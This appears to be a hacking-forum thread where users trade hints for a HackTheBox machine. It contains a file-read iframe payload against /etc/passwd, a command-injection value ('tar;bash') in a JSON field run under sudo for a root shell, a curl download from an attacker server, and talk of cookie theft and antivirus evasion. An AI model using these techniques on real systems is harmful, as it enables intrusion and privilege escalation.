Possibly Related Threads…

adolfo · (This post was last modified: 04-30-2024, 12:42 PM by adolfo.)

sudo ssh-keygen -p -P 'Y27SH19HDIWD" -N "" -m pem -f ./private.txt --> whitout password...

archnet · 04-30-2024, 06:25 PM

Hi any way to get through ssrf?

$ cat lfi.php
<?php header('location:file://'.$_REQUEST['x']); ?>

$ cat index.html

<!DOCTYPE html>
<html lang=en>
<body>
<iframe src="http://10.10.14.3/lfi.php?x=/etc/passwd" height=1000px width=1000px></iframe>
</body>
</html>

i get a Frame load interrupted by policy change, tried adding spaces and other things said by CVE-2023-24329 but i can't seem to read any file

br2023 · (This post was last modified: 04-30-2024, 08:26 PM by br2023.)

(04-30-2024, 06:25 PM)archnet Wrote: Hi any way to get through ssrf?

$ cat lfi.php
<?php header('location:file://'.$_REQUEST['x']); ?>

$ cat index.html

<!DOCTYPE html>
<html lang=en>
<body>
<iframe src="http://10.10.14.3/lfi.php?x=/etc/passwd" height=1000px width=1000px></iframe>
</body>
</html>

i get a Frame load interrupted by policy change, tried adding spaces and other things said by CVE-2023-24329 but i can't seem to read any file

"Frame load interrupted by policy change " issue - try using php http server instead of python

LFI - don't use the lfi from pdfy htb challenge albeit the concept is related, lfi script is not. someone in the previous thread has mentioned the right lfi for the intuition challenge.

paro · 05-01-2024, 09:38 AM

(04-29-2024, 02:42 PM)macavitysworld Wrote:
(04-29-2024, 02:30 PM)laranja Wrote: For those who are having difficulties, this is how I managed

I downloaded the link shared here in previous posts

1) python3 -m http.server

2) curl -O http://10.10.x.x:8000/sys-admins-role-0.0.3.tar.gz

3) mv sys-admins-role-0.0.3.tar.gz sys-admins-role.tar

4) sudo /opt/runner2/runner2 test.json
Starting galaxy role install process
- sys-admins-role.tar is already installed, skipping.

.json file =
{
"run":{
"action":"install",
"role_file":"sys-admins-role.tar"
},
"auth_code":"UHI75GHINKOP"
Now I'm stuck and I don't know where to go if anyone can help I'd be grateful

rename tar to sys-admins-role.tar;bash
.json file =
{
"run":{
"action":"install",
"role_file":"sys-admins-role.tar;bash"
},
"auth_code":"UHI75GHINKOP"

sudo /opt/runner2/runner2 file.json

You should be able to get root shell

I keep getting "Error parsing JSON data".
I downloaded the .tar and renamed it to 'sys-admins-role.tar;bash'
I created a .json with
{
"run": {
"action": "install",
"role_file": "sys-admins-role.tar;bash",
},
"auth_code": "UHI75GHINKOP"
}

Wtf am I doing wrong? What am I missing?

macavitysworld · 05-01-2024, 09:42 AM

(05-01-2024, 09:38 AM)paro Wrote:
(04-29-2024, 02:42 PM)macavitysworld Wrote:
(04-29-2024, 02:30 PM)laranja Wrote: For those who are having difficulties, this is how I managed

I downloaded the link shared here in previous posts

1) python3 -m http.server

2) curl -O http://10.10.x.x:8000/sys-admins-role-0.0.3.tar.gz

3) mv sys-admins-role-0.0.3.tar.gz sys-admins-role.tar

4) sudo /opt/runner2/runner2 test.json
Starting galaxy role install process
- sys-admins-role.tar is already installed, skipping.

.json file =
{
"run":{
"action":"install",
"role_file":"sys-admins-role.tar"
},
"auth_code":"UHI75GHINKOP"
Now I'm stuck and I don't know where to go if anyone can help I'd be grateful

rename tar to sys-admins-role.tar;bash
.json file =
{
"run":{
"action":"install",
"role_file":"sys-admins-role.tar;bash"
},
"auth_code":"UHI75GHINKOP"

sudo /opt/runner2/runner2 file.json

You should be able to get root shell

I keep getting "Error parsing JSON data".
I downloaded the .tar and renamed it to 'sys-admins-role.tar;bash'
I created a .json with
{
"run": {
"action": "install",
"role_file": "sys-admins-role.tar;bash",
},
"auth_code": "UHI75GHINKOP"
}

Wtf am I doing wrong? What am I missing?

Dm me on tg/discord @macavitysworld

osamy7593 · 05-01-2024, 10:03 AM

Guys i have a question can we bypass windows 11 firewall and real time protection to get a reverse shell ?

Hercobolus · (This post was last modified: 05-01-2024, 11:02 PM by Hercobolus.)

I am at the same point. Can someone please explain how to exchange that cookie? I used a cookie editor plugin on firefox. I set it for dashboard.comprezzor.htb right? But I also end up at the login page. Maybe someone can help here or PM me.
I am at the first cookie I have via "fetch" and http.server

obasoba3 · 05-02-2024, 06:51 AM

interesting indeed

HTBcracker · 05-02-2024, 03:23 PM

writeup:

Hidden Content

You must register or login to view this content.

iiNovaCore · 05-03-2024, 05:27 PM

(04-29-2024, 02:42 PM)macavitysworld Wrote:
(04-29-2024, 02:30 PM)laranja Wrote: For those who are having difficulties, this is how I managed

I downloaded the link shared here in previous posts

1) python3 -m http.server

2) curl -O http://10.10.x.x:8000/sys-admins-role-0.0.3.tar.gz

3) mv sys-admins-role-0.0.3.tar.gz sys-admins-role.tar

4) sudo /opt/runner2/runner2 test.json
Starting galaxy role install process
- sys-admins-role.tar is already installed, skipping.

.json file =
{
"run":{
"action":"install",
"role_file":"sys-admins-role.tar"
},
"auth_code":"UHI75GHINKOP"
Now I'm stuck and I don't know where to go if anyone can help I'd be grateful

rename tar to sys-admins-role.tar;bash
.json file =
{
"run":{
"action":"install",
"role_file":"sys-admins-role.tar;bash"
},
"auth_code":"UHI75GHINKOP"

sudo /opt/runner2/runner2 file.json

You should be able to get root shell

im getting invalid tar archive errors while using that, but without the ;bash it runs correctly, why would that be?

heres the json im runnin with right now

"run":{
"action":"install",
"role_file":"sys-admins-role.tar; bash"
},
"auth_code":"UHI75GHINKOP"
}

Possibly Related Threads…
Thread		Author	Replies	Views	Last Post
	[FREE] 300+ Writeups PDF HackTheBox/HTB premium retired	Tamarisk	360	88,710	03-28-2026, 09:28 AM Last Post: catsweet
	[FREE] HTB-ProLabs APTLABS Just Flags	kewlsunny	23	2,348	03-28-2026, 03:30 AM Last Post: lulaladrow
	[MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot	htb-bot	87	7,490	03-27-2026, 07:22 PM Last Post: stn
	HTB Eloquia User and Root Flags - Insane Box	69646B	13	350	03-27-2026, 06:14 PM Last Post: vlxw
	HTB - ALL Challenges you Stuck in	osamy7593	2	646	03-27-2026, 04:24 PM Last Post: catsweet